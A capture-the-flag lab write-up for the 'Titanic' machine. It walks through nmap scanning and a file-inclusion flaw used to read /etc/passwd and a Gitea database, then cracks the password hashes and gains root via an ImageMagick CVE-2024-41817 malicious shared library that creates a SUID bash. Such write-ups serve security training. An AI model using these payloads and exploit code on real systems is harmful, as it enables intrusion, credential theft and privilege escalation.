Machine IP: 10.10.11.55
Target enumeration
As with any black-box engagement, the first step is a thorough enumeration of the target. I started with a SYN scan against all ports using nmap
:
# Nmap 7.95 scan initiated Tue Jun 17 10:20:29 2025 as: /usr/lib/nmap/nmap -p- -oA scans/10.10.11.55 10.10.11.55
Nmap scan report for 10.10.11.55
Host is up (0.044s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Tue Jun 17 10:20:59 2025 -- 1 IP address (1 host up) scanned in 30.75 seconds
This revealed two open TCP ports:
- 22/tcp (SSH)
- 80/tcp (HTTP)
Service Version Detection
Next, I performed version and script scans on each open port.
SSH
# Nmap 7.95 scan initiated Tue Jun 17 10:22:13 2025 as: /usr/lib/nmap/nmap -sV -sC -p22 -oA scans/10.10.11.55-22 10.10.11.55
Nmap scan report for 10.10.11.55
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 17 10:22:15 2025 -- 1 IP address (1 host up) scanned in 2.28 seconds
Result:
- OpenSSH 8.9p1 on Ubuntu
- No immediate vulnerabilities, but confirms the system is running Ubuntu.
HTTP
# Nmap 7.95 scan initiated Tue Jun 17 10:22:24 2025 as: /usr/lib/nmap/nmap -sV -sC -p80 -oA scans/10.10.11.55-80 10.10.11.55
Nmap scan report for 10.10.11.55
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 17 10:22:32 2025 -- 1 IP address (1 host up) scanned in 7.89 seconds
Result:
- Apache/2.4.52 (Ubuntu)
- Redirects to
titanic.htb
Notably, Apache 2.4.52 has known HTTP request smuggling vulnerabilities (e.g., CVE-2022-22720), though they were not exploitable here. I added titanic.htb
to /etc/hosts
to follow redirects correctly.
Using whatweb
to fingerprint the stack:
http://titanic.htb [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.10.12], IP[10.10.11.55], JQuery, Python[3.10.12], Script, Title[Titanic - Book Your Ship Trip], Werkzeug[3.0.3]
The presence of Werkzeug indicates a likely Python Flask backend.
Inspecting the website
The homepage presents a “Book Your Trip” button, which leads to the download of a JSON file after submitting the form:
GET /download?ticket=df54e996-d1f1-44d5-ae07-807fb01e3b00.json
Changing the ticket
parameter to a system path might verify the presence of Local File Inclusion (LFI):
GET /download?ticket=/etc/passwd
Success - /etc/passwd
was returned, confirming LFI. This revealed the developer
user, whose home directory was /home/developer
.
Using the same LFI, I retrieved the user flag from:
/home/developer/user.txt
Deeper enumeration
To escalate, I needed better access. Reviewing our prior findings:
- Apache is running
- Flask handles
titanic.htb
Given the Apache running, there might be virtual hosts present on the machine. We could try to enumerate them using tools like ffuf
or gobuster
, however, having a working LFI, the first thing I tried was inspecting /etc/hosts
. It revealed another virtual host:
127.0.0.1 localhost titanic.htb dev.titanic.htb
Accessing dev.titanic.htb
This subdomain hosted a Gitea instance with two repositories (flask-app
and docker-config
) by the user developer. While flask-app
confirmed the LFI vulnerability, docker-config
was more interesting.
It included a Docker Compose volume mapping:
/home/developer/gitea/data:/data
From Gitea’s documentation, the default DB backend is SQLite, meaning the entire user database could be retrieved via LFI.
Extracting Credentials
After running Gitea locally to determine file structure, I confirmed the SQLite DB location:
/home/developer/gitea/data/gitea/gitea.db
I retrieved the database:
http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db
Using sqlite3
, I dumped password hashes and salts:
sqlite3 gitea.db 'select passwd,salt from user;
These values, once converted to base64, were cracked with hashcat
, revealing the password for the developer user.
Using this password with SSH for developer
on the target gave us shell access.
Privilege Escalation
Initial checks (sudo, environment variables, LinPEAS) didn’t yield much. However, I discovered an interesting cron-like behavior - a script at /opt/scripts/identify_images.sh
:
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
The metadata.log
was being updated by root every minute. Combined with the ImageMagick version:
developer@titanic:/opt$ /usr/bin/magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
This version is vulnerable to CVE-2024-41817, which can be exploited if a malicious shared object (libxcb.so.1
) is loaded from the current working directory.
Exploiting CVE-2024-41817
Based on the available PoC, I created a malicious shared library that copies /bin/bash
and sets the SUID bit:
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash");
exit(0);
}
EOF
I dropped libxcb.so.1
into /opt/app/static/assets/images
- the working directory used by the script.
After a minute, /tmp/bash
appeared with the SUID bit. Running it with -p
yielded a root shell:
/tmp/bash -p